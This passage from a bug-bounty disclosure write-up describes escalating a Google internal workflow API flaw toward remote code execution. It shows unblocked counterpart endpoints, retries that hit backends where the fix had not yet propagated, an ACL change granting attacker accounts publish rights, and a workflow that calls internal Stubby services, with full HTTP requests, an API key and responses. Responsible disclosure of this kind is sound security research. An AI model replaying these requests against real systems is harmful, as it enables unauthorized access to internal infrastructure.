<p>That&#39;s when <a href="https://bughunters.google.com/profile/57154734-5ce9-431a-b0c3-ca3ba28bb499" target="_blank" rel="noopener noreferrer">shrugged</a> mentioned that he had the same bug, and our conversation took off.</p>
<p>It turned out that shrugged had also been investigating this very same API when he noticed these endpoints listed in the javascript files for <a href="https://cloud.google.com/application-integration" target="_blank" rel="noopener noreferrer">Application Integration</a> while researching another bug. He had spotted <code>GenericStubbyTypedTask</code> as a potential RCE vector, but was stuck without a valid <code>client_id</code> for the initial draft workflow creation.</p>
<p>Meanwhile, I had the <code>client_id</code> from the quota queue leak, but was stuck at the publishing step. We quickly traded notes: I shared <code>client_id: &quot;default&quot;</code> and where I&#39;d hit the wall, and we picked up from there.</p>
<p>Google had already rolled out fixes from my initial report, so many of the original endpoints were now returning PERMISSION_DENIED. However, we noticed something interesting - many endpoints had 1:1 working counterparts under different service names:</p>
<table>
<thead>
<tr>
<th>Original (Blocked)</th>
<th>Counterpart</th>
</tr>
</thead>
<tbody><tr>
<td>/v1/integrationPlatform:getProtoDefinition</td>
<td>/v1/integrationPlatform/workflowsupport:getProtoDefinition</td>
</tr>
<tr>
<td>/v1/integrationPlatform:runWorkflow</td>
<td>/v1/integrationPlatform/workflowexecution:runWorkflow</td>
</tr>
<tr>
<td>/v1/integrationPlatform:setAcl</td>
<td>/v1/integrationPlatform/auth:setAcl</td>
</tr>
</tbody></table>
<p>The initial fixes had only blocked the original &quot;WorkflowEditorService&quot; endpoints, but not these counterparts. The problem was <code>createDraftWorkflow</code> - we couldn&#39;t find a counterpart for it, and it was returning PERMISSION_DENIED:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">403</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;The caller does not have permission&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;PERMISSION_DENIED&quot;</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>Strangely, when shrugged tried the same request, it worked on his first attempt, while I was consistently getting <code>PERMISSION_DENIED</code>. That&#39;s when it clicked: the fix hadn&#39;t fully propagated across all load balanced backends yet. By repeatedly sending the same request, we could reliably route through a backend that still allowed it through:</p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8

<span class="language-perl">{ <span class="hljs-string">&quot;workflow&quot;</span>: { <span class="hljs-string">&quot;workflowId&quot;</span>: <span class="hljs-string">&quot;c6141c63-ac7a-4350-b582-7615ef045d0c&quot;</span>, <span class="hljs-string">&quot;name&quot;</span>: <span class="hljs-string">&quot;retest&quot;</span>, <span class="hljs-string">&quot;origin&quot;</span>: <span class="hljs-string">&quot;UI&quot;</span>, <span class="hljs-string">&quot;creatorEmail&quot;</span>: <span class="hljs-string">&quot;admin<span class="hljs-variable">@gvrptest</span>.cry.dev&quot;</span>, <span class="hljs-string">&quot;createdTime&quot;</span>: <span class="hljs-string">&quot;...&quot;</span>, <span class="hljs-string">&quot;lastModifiedTime&quot;</span>: <span class="hljs-string">&quot;...&quot;</span>, <span class="hljs-string">&quot;status&quot;</span>: <span class="hljs-string">&quot;DRAFT&quot;</span>, <span class="hljs-string">&quot;snapshotNumber&quot;</span>: <span class="hljs-string">&quot;1&quot;</span>, <span class="hljs-string">&quot;tags&quot;</span>: [ <span class="hljs-string">&quot;HEAD&quot;</span> ], <span class="hljs-string">&quot;lockedBy&quot;</span>: <span class="hljs-string">&quot;admin<span class="hljs-variable">@gvrptest</span>.cry.dev&quot;</span>, <span class="hljs-string">&quot;lockedAtTime&quot;</span>: <span class="hljs-string">&quot;...&quot;</span>, <span class="hljs-string">&quot;lastModifierEmail&quot;</span>: <span class="hljs-string">&quot;admin<span class="hljs-variable">@gvrptest</span>.cry.dev&quot;</span>, <span class="hljs-string">&quot;clientId&quot;</span>: <span class="hljs-string">&quot;default&quot;</span> } }</span></code></pre><p>However, the task name GenericStubbyTypedTask didn&#39;t seem to exist. Looking at the response of <code>/v1/integrationPlatform:listTaskEntities</code> (decoded using the proto definitions from getProtoDefinition), it seemed to only provide tasks with <code>IO_TEMPLATE</code></p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;taskEntities&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;metadata&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Delete SFDC Record&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;descriptiveName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Delete Salesforce Record&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Deletes a record in Salesforce&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;g3DocLink&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;https://g3doc.corp.google.com/company/teams/cloudcrm/platform/user_guide/tasks/write_to_sfdc.md#delete-sfdc-record-task&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;iconLink&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;https://gstatic.com/enterprise/crm/eventbus/images/icons/blue/salesforce_009EDB_48px_1_blue.svg&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;codeSearchLink&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;https://cs.corp.google.com/piper///depot/google3/java/com/google/enterprise/crm/eventbus/connectors/generic/impl/GenericRestV2TaskImpl.java&quot;</span><span class="hljs-punctuation">,</span>
      ...
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;paramSpecs&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;parameters&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
          <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;key&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;salesforceDomain&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;dataType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;STRING_VALUE&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;className&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;java.lang.String&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;config&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
              <span class="hljs-attr">&quot;descriptivePhrase&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Check in Salesforce: Setup &gt; Company Settings &gt; My Domain. If you don&#x27;t have My Domain enabled, please use \&quot;yourinstance.salesforce.com\&quot; as the Salesforce domain.&quot;</span><span class="hljs-punctuation">,</span>
              <span class="hljs-attr">&quot;label&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Salesforce domain&quot;</span><span class="hljs-punctuation">,</span>
              <span class="hljs-attr">&quot;uiPlaceholderText&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;e.g. yourDomain.my.salesforce.com&quot;</span>
            <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;required&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1</span>
          <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        ...
        <span class="hljs-punctuation">]</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      ...
      <span class="hljs-attr">&quot;taskType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;IO_TEMPLATE&quot;</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    ...
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span></code></pre><p>It seemed like the GenericStubbyTypedTask was likely part of the underlying <code>ASIS_TEMPLATE</code>:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;taskType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Defines the type of the task&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;enum&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-string">&quot;TASK&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-string">&quot;ASIS_TEMPLATE&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-string">&quot;IO_TEMPLATE&quot;</span>
      <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;enumDescriptions&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-string">&quot;Normal IP task&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-string">&quot;Task is of As-Is Template type&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-string">&quot;Task is of I/O template type with a different underlying task&quot;</span>
      <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;string&quot;</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>Interestingly, the underlying RPC for this endpoint is <code>google.internal.cloud.crm.ipfrontend.v1.WorkflowEditorService/ListTaskEntities</code>. This is eerily similar to the public <a href="https://cloud.google.com/application-integration" target="_blank" rel="noopener noreferrer">Application Integration</a> product&#39;s <code>/$rpc/google.cloud.integrations.v1alpha.Integrations/ListTaskEntities</code> though that too didn&#39;t return any <code>ASIS_TEMPLATE</code> tasks directly.</p>
<p>Looking back at Application Integration&#39;s <a href="https://www.gstatic.com/_/pantheon-platform/_/js/k=pantheon-platform.r_ffqsputwh.en_US.gfcqeedabC0.O/ck=pantheon-platform.r_ffqsputwh.M74CJWSkfgQ.L.W.O/am=AAAAAAAAAQ/d=0/rs=ALa0V2PM3qwkJsQayfzRJaJ2GniB6mlGVw/m=sy1u,sy2o,sy65,sy1v,sy2m,sy2k,sy2n,sy2p,sy2q,sy2x,sy6l,sy6n,sy66,sy3x,sy6i,syo1,syo6,syo5,sy34,syj,syo,sy1z,sy2l,sybx,sy71,sy5m,syep,syes,sy6u,sy6m,sy6k,syi7,syo7,syo4,sy10,sy35,sy5b,sye2,sy2d,syt,sys,sydn,syg4,sy6z,syn,sy20,syg8,syjq,syjp,syjv,sy5h,sy86,sybo,syek,syeo,syeq,syen,syer,syet,syeu,syev,syew,syex,syey,sy4,sy68,sye3,synv,syof,syoe,syor,syox,syov,sy31,sy4l,sy8b,sy6w,sy8f,syb9,sya,sy95,syc3,syds,sypc,syph,sy6o,sy6p,sy8d,sy8e,sy4r,syo3,sy1m,syei,syjh,syp6,sy3g,sy2r,sy11,sy2b,sy33,syb3,syd4,sy5c,sy5d,sy2i,sye9,sy2e,sy2f,sy2g,sy2h,sy1p,syv,sy4w,syr,sy58,sy59,sydm,sydo,sydp,sydq,sygh,sygk,sy8m,syjr,syk7,syhd,syem,sylk,syod,syog,syok,syop,syos,syot,syoz,syp0,syow,syoy,syhc,sy54,synz,sy3b,sy4k,sy4p,sy8g,synp,sypb,syct,sy5n,syhy,sypg,sy6q,sy8c,sydj,syb7,syc8,syoc,syp5,syp8,sye,sy26,sy87,sya4,syo2,syoi,syon,syp9,sy1y,sy2j,sy44,sy6e,sy99,sy9c,syb8,syc1,sye7,sye8,syed,syoj,sypd,sy2c,sy1w,sy1q,syw,sy19,sy1s,sy48,sy4b,sy4x,sy8i,sybr,syck,sydl,sye6,syfm,syfv,sygj,sygl,sygp,syhe,syj8,syjs,sykz,syl1,syl2,synb,synn,syoq,sypv,sypw,syq5,syqa,sy1r,sy4s,sy6s,sy8o,syaj,syha,synq,sypm,sypn,sycu,syp1,sy5o,sypi,cc5GEc,sy6r,sy6t,sy8h,sy9l,sya2,syaa,syb2,sybb,sybd,sybf,sybh,sybj,sybk,syc0,syc9,sycd,sydf,syg5,synx,NTA1Nc,syoa,syoo,syou,syp4,SUXzGf,a1YRQd,syp7,n5B0Gd,sypf,sypz,syq7,syq6,syq3,syqb,syq8,syq4,syii,sy6c,sy93,sy9s,syah,syam,sybp,syc4,syc5,syob,syol,syp2,sypk,syq1,syq2,syq9,CiTGSe" target="_blank" rel="noopener noreferrer">JS code</a> from <a href="https://console.cloud.google.com/" target="_blank" rel="noopener noreferrer">Cloud Console</a>:</p>
<p><img src="/assets/google-cloud-rce/integrations_js.jpg" alt="" loading="lazy" /></p>
<pre><code class="hljs language-js">[<span class="hljs-string">&quot;Vertex AI - Predict&quot;</span>,<span class="hljs-string">&quot;https://www.gstatic.com/enterprise/crm/eventbus/images/icons/custom_tasks/document_ai.png&quot;</span>],
[<span class="hljs-string">&quot;GenericStubbyTypedTaskV2&quot;</span>,<span class="hljs-string">&quot;http://gstatic.com/enterprise/crm/eventbus/images/icons/blue/stubby_48px_blue.svg&quot;</span>],
[<span class="hljs-string">&quot;RunGoogleSqlPlxQueryTask&quot;</span>,<span class="hljs-string">&quot;https://fonts.gstatic.com/s/i/productlogos/plx/v6/192px.svg&quot;</span>],
[<span class="hljs-string">&quot;ConvertDremelResultToJsonTask&quot;</span>,<span class="hljs-string">&quot;https://www.gstatic.com/images/icons/material/system/2x/settings_googblue_24dp.png&quot;</span>],</code></pre><p>The exact task name was <strong>GenericStubbyTypedTaskV2</strong>, complete with its own icon, no less: <img src="/assets/google-cloud-rce/stubby_48px_blue.svg" alt="" loading="lazy" /></p>
<p>Attempting to configure <code>GenericStubbyTypedTask</code> on <a href="https://cloud.google.com/application-integration" target="_blank" rel="noopener noreferrer">Application Integration</a> returned an error revealing the required fields:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">400</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&#x27;Required input key serverSpec not present in task GenericStubbyTypedTaskImpl, task number 1.&#x27;&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;INVALID_ARGUMENT&quot;</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>Repeating with each missing key revealed <strong>serverSpec</strong>, <strong>serviceName</strong>, and <strong>serviceMethod</strong>. These same parameters applied to <code>GenericStubbyTypedTaskV2</code>. Using <a href="https://www.ezequiel.tech/" target="_blank" rel="noopener noreferrer">Ezequiel Pereira</a>&#39;s <a href="https://github.com/ezequielpereira/GAE-RCE/blob/c58ccd52d9204a0e5b8c7cf9b82b8e6e06d524a8/protos/net/rpc/serverstatus.proto#L155" target="_blank" rel="noopener noreferrer">protobuf repo</a> as reference and a GSLB address we found leaked in another discovery document, we configured the task to call <code>/ServerStatus.GetServices</code> on <strong>gslb:alkali-base</strong>:</p>
<blockquote>
<p>Fun fact: Alkali is Google&#39;s internal framework that Googlers can use to spin up production APIs with minimal boilerplate, they tend to have a lot of security issues.</p>
</blockquote>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8

<span class="language-prolog">{<span class="hljs-string">&quot;workflow&quot;</span>: {<span class="hljs-string">&quot;workflowId&quot;</span>: <span class="hljs-string">&quot;f91833bf-eacb-43ac-8490-099fef977e19&quot;</span>, <span class="hljs-string">&quot;name&quot;</span>: <span class="hljs-string">&quot;retest-test123&quot;</span>, <span class="hljs-string">&quot;taskConfigs&quot;</span>: [{<span class="hljs-string">&quot;taskName&quot;</span>: <span class="hljs-string">&quot;GenericStubbyTypedTaskV2&quot;</span>, <span class="hljs-string">&quot;taskNumber&quot;</span>: <span class="hljs-string">&quot;1&quot;</span>, <span class="hljs-string">&quot;parameters&quot;</span>: {<span class="hljs-string">&quot;response&quot;</span>: {<span class="hljs-string">&quot;key&quot;</span>: <span class="hljs-string">&quot;response&quot;</span>, <span class="hljs-string">&quot;value&quot;</span>: {<span class="hljs-string">&quot;stringValue&quot;</span>: <span class="hljs-string">&quot;$response$&quot;</span>}, <span class="hljs-string">&quot;dataType&quot;</span>: <span class="hljs-string">&quot;STRING_VALUE&quot;</span>}, <span class="hljs-string">&quot;serverSpec&quot;</span>: {<span class="hljs-string">&quot;key&quot;</span>: <span class="hljs-string">&quot;serverSpec&quot;</span>, <span class="hljs-string">&quot;value&quot;</span>: {<span class="hljs-string">&quot;stringValue&quot;</span>: <span class="hljs-string">&quot;gslb:alkali-base&quot;</span>}, <span class="hljs-string">&quot;dataType&quot;</span>: <span class="hljs-string">&quot;STRING_VALUE&quot;</span>}, <span class="hljs-string">&quot;serviceName&quot;</span>: {<span class="hljs-string">&quot;key&quot;</span>: <span class="hljs-string">&quot;serviceName&quot;</span>, <span class="hljs-string">&quot;value&quot;</span>: {<span class="hljs-string">&quot;stringValue&quot;</span>: <span class="hljs-string">&quot;ServerStatus&quot;</span>}, <span class="hljs-string">&quot;dataType&quot;</span>: <span class="hljs-string">&quot;STRING_VALUE&quot;</span>}, <span class="hljs-string">&quot;serviceMethod&quot;</span>: {<span class="hljs-string">&quot;key&quot;</span>: <span class="hljs-string">&quot;serviceMethod&quot;</span>, <span class="hljs-string">&quot;value&quot;</span>: {<span class="hljs-string">&quot;stringValue&quot;</span>: <span class="hljs-string">&quot;GetServices&quot;</span>}, <span class="hljs-string">&quot;dataType&quot;</span>: <span class="hljs-string">&quot;STRING_VALUE&quot;</span>}}, <span class="hljs-string">&quot;position&quot;</span>: {<span class="hljs-string">&quot;x&quot;</span>: <span class="hljs-number">-716</span>, <span class="hljs-string">&quot;y&quot;</span>: <span class="hljs-number">-445</span>}, <span class="hljs-string">&quot;label&quot;</span>: <span class="hljs-string">&quot;Stubby Internal&quot;</span>, <span class="hljs-string">&quot;incomingEdgeCount&quot;</span>: <span class="hljs-number">1</span>, <span class="hljs-string">&quot;taskType&quot;</span>: <span class="hljs-string">&quot;ASIS_TEMPLATE&quot;</span>, <span class="hljs-string">&quot;externalTaskType&quot;</span>: <span class="hljs-string">&quot;NORMAL_TASK&quot;</span>}], <span class="hljs-string">&quot;triggerConfigs&quot;</span>: [{<span class="hljs-string">&quot;startTasks&quot;</span>: [{<span class="hljs-string">&quot;taskNumber&quot;</span>: <span class="hljs-string">&quot;1&quot;</span>}], <span class="hljs-string">&quot;properties&quot;</span>: {<span class="hljs-string">&quot;Trigger name&quot;</span>: <span class="hljs-string">&quot;my-api-trigger-123&quot;</span>}, <span class="hljs-string">&quot;triggerType&quot;</span>: <span class="hljs-string">&quot;API&quot;</span>, <span class="hljs-string">&quot;triggerNumber&quot;</span>: <span class="hljs-string">&quot;1&quot;</span>, <span class="hljs-string">&quot;enabledClients&quot;</span>: [<span class="hljs-string">&quot;default&quot;</span>], <span class="hljs-string">&quot;triggerId&quot;</span>: <span class="hljs-string">&quot;api_trigger/my-api-trigger-123&quot;</span>}], <span class="hljs-string">&quot;origin&quot;</span>: <span class="hljs-string">&quot;UI&quot;</span>, <span class="hljs-string">&quot;creatorEmail&quot;</span>: <span class="hljs-string">&quot;&lt;REDACTED&gt;&quot;</span>, <span class="hljs-string">&quot;createdTime&quot;</span>: <span class="hljs-string">&quot;2026-01-12T09:45:55.896951Z&quot;</span>, <span class="hljs-string">&quot;lastModifiedTime&quot;</span>: <span class="hljs-string">&quot;2026-01-12T09:45:55.896951Z&quot;</span>, <span class="hljs-string">&quot;status&quot;</span>: <span class="hljs-string">&quot;DRAFT&quot;</span>, <span class="hljs-string">&quot;snapshotNumber&quot;</span>: <span class="hljs-string">&quot;1&quot;</span>, <span class="hljs-string">&quot;tags&quot;</span>: [<span class="hljs-string">&quot;HEAD&quot;</span>], <span class="hljs-string">&quot;lockedBy&quot;</span>: <span class="hljs-string">&quot;&lt;REDACTED&gt;&quot;</span>, <span class="hljs-string">&quot;lockedAtTime&quot;</span>: <span class="hljs-string">&quot;2026-01-12T09:45:55.896951Z&quot;</span>, <span class="hljs-string">&quot;lastModifierEmail&quot;</span>: <span class="hljs-string">&quot;&lt;REDACTED&gt;&quot;</span>, <span class="hljs-string">&quot;clientId&quot;</span>: <span class="hljs-string">&quot;default&quot;</span>}}</span></code></pre><p>Everything here is strikingly similar to <a href="https://cloud.google.com/application-integration" target="_blank" rel="noopener noreferrer">Application Integration</a> - the workflow structure, the task configuration, even the publishing and running flow. Notice the <code>&quot;position&quot;: {&quot;x&quot;: -716, &quot;y&quot;: -445}</code> in our workflow? The internal UI likely looks very similar to Application Integration&#39;s visual workflow editor, where we&#39;re essentially setting coordinates for task positions:</p>
<p><img src="/assets/google-cloud-rce/integrations_editor_layout.jpg" alt="" loading="lazy" /></p>
<p>Remember the ACL issue that blocked me from publishing earlier? shrugged figured out we could bypass it by updating the ACL for <code>IP_EVENTBUS_WORKFLOWS</code> with the obfuscated Gaia ID of two attacker controlled Google accounts.</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v1/integrationPlatform/auth:setAcl</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>cloudcrmipfrontend-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>500

<span class="language-prolog">{<span class="hljs-string">&quot;resourceInfo&quot;</span>: {<span class="hljs-string">&quot;resource&quot;</span>: <span class="hljs-string">&quot;IP_EVENTBUS_WORKFLOWS&quot;</span>, <span class="hljs-string">&quot;id&quot;</span>: <span class="hljs-string">&quot;retest-test123&quot;</span>}, <span class="hljs-string">&quot;acl&quot;</span>: {<span class="hljs-string">&quot;entries&quot;</span>: [{<span class="hljs-string">&quot;scope&quot;</span>: {<span class="hljs-string">&quot;obfuscatedGaiaId&quot;</span>: <span class="hljs-string">&quot;100029910836469267942&quot;</span>}, <span class="hljs-string">&quot;role&quot;</span>: <span class="hljs-number">105</span>}, {<span class="hljs-string">&quot;scope&quot;</span>: {<span class="hljs-string">&quot;obfuscatedGaiaId&quot;</span>: <span class="hljs-string">&quot;113728935872649341310&quot;</span>}, <span class="hljs-string">&quot;role&quot;</span>: <span class="hljs-number">105</span>}]}}</span></code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8

<span class="language-dust"><span class="hljs-template-variable">{}</span></span></code></pre><p>First, we toggled the request to publish workflow using the first attacker Google account:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v1/integrationPlatform/workflowdeployment:toggleRequestToPublishWorkflow</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>cloudcrmipfrontend-pa.clients6.google.com
...

<span class="language-subunit">{&quot;workflowId&quot;: &quot;f91833bf-eacb<span class="hljs-string">-43</span>ac<span class="hljs-string">-8490</span><span class="hljs-string">-099</span>fef977e19&quot;}</span></code></pre><p>And then finally publishing the workflow using the second attacker account:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v1/integrationPlatform/workflowdeployment:publishWorkflow</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>cloudcrmipfrontend-pa.clients6.google.com
...

<span class="language-subunit">{&quot;workflowId&quot;: &quot;f91833bf-eacb<span class="hljs-string">-43</span>ac<span class="hljs-string">-8490</span><span class="hljs-string">-099</span>fef977e19&quot;}</span></code></pre><p>Running a workflow configured with <code>GenericStubbyTypedTaskV2</code> with <code>serverSpec</code> set to <code>gslb:alkali-base</code> and service/method set to <code>/ServerStatus.GetServices</code>, we were able to <strong>execute the Stubby query</strong>:</p>
<pre><code class="hljs language-json">...
<span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;protoValue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;@type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;type.googleapis.com/rpc.ServiceList&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;service&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;AlkaliBaseAccountService&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;descriptor&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;filename&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;google/internal/alkali/base/v1/alkali_base_account_service.proto&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;AlkaliBaseAccountService&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;method&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
            <span class="hljs-punctuation">{</span>
                <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ListAccounts&quot;</span><span class="hljs-punctuation">,</span>
                <span class="hljs-attr">&quot;argumentType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;google.internal.alkali.base.v1.ListAccountsRequest&quot;</span><span class="hljs-punctuation">,</span>
                <span class="hljs-attr">&quot;resultType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;google.internal.alkali.base.v1.ListAccountsResponse&quot;</span><span class="hljs-punctuation">,</span>
                <span class="hljs-attr">&quot;deadline&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">30</span><span class="hljs-punctuation">,</span>
                <span class="hljs-attr">&quot;securityLevel&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;none&quot;</span>
            <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
            <span class="hljs-punctuation">{</span>
                <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ListAccessibleAccounts&quot;</span><span class="hljs-punctuation">,</span>
                <span class="hljs-attr">&quot;argumentType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;google.internal.alkali.base.v1.ListAccessibleAccountsRequest&quot;</span><span class="hljs-punctuation">,</span>
                <span class="hljs-attr">&quot;resultType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;google.internal.alkali.base.v1.ListAccountsResponse&quot;</span><span class="hljs-punctuation">,</span>
                <span class="hljs-attr">&quot;deadline&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">30</span><span class="hljs-punctuation">,</span>
                <span class="hljs-attr">&quot;securityLevel&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;none&quot;</span>
            <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
            ...</code></pre><p>We then updated the initial bug with the escalation to RCE. Neither of us could have done this alone, and the timing was clutch: just one hour after our PoC, the fix for <code>createDraftWorkflow</code> fully propagated. Any later and this RCE escalation would&#39;ve stayed theoretical. That being said, we were cut off by Google before we could actually execute code on Google&#39;s servers.</p>
<h3 id="timeline-1st-rce"><a class="anchor" href="#timeline-1st-rce" aria-hidden="true">#</a>Timeline (1st RCE)</h3><ul>
<li>2025-12-01 - Initial report sent to Google</li>
<li>2025-12-01 - Google triaged report as P0/S0</li>
<li>2025-12-01 - 🎉 <strong>Nice catch!</strong></li>
<li>2026-01-12 - Informed Google&#39;s security team about the RCE escalation</li>
<li>2026-01-12 - Updated report with RCE PoC</li>
<li>2026-01-12 - Report escalated by Google</li>
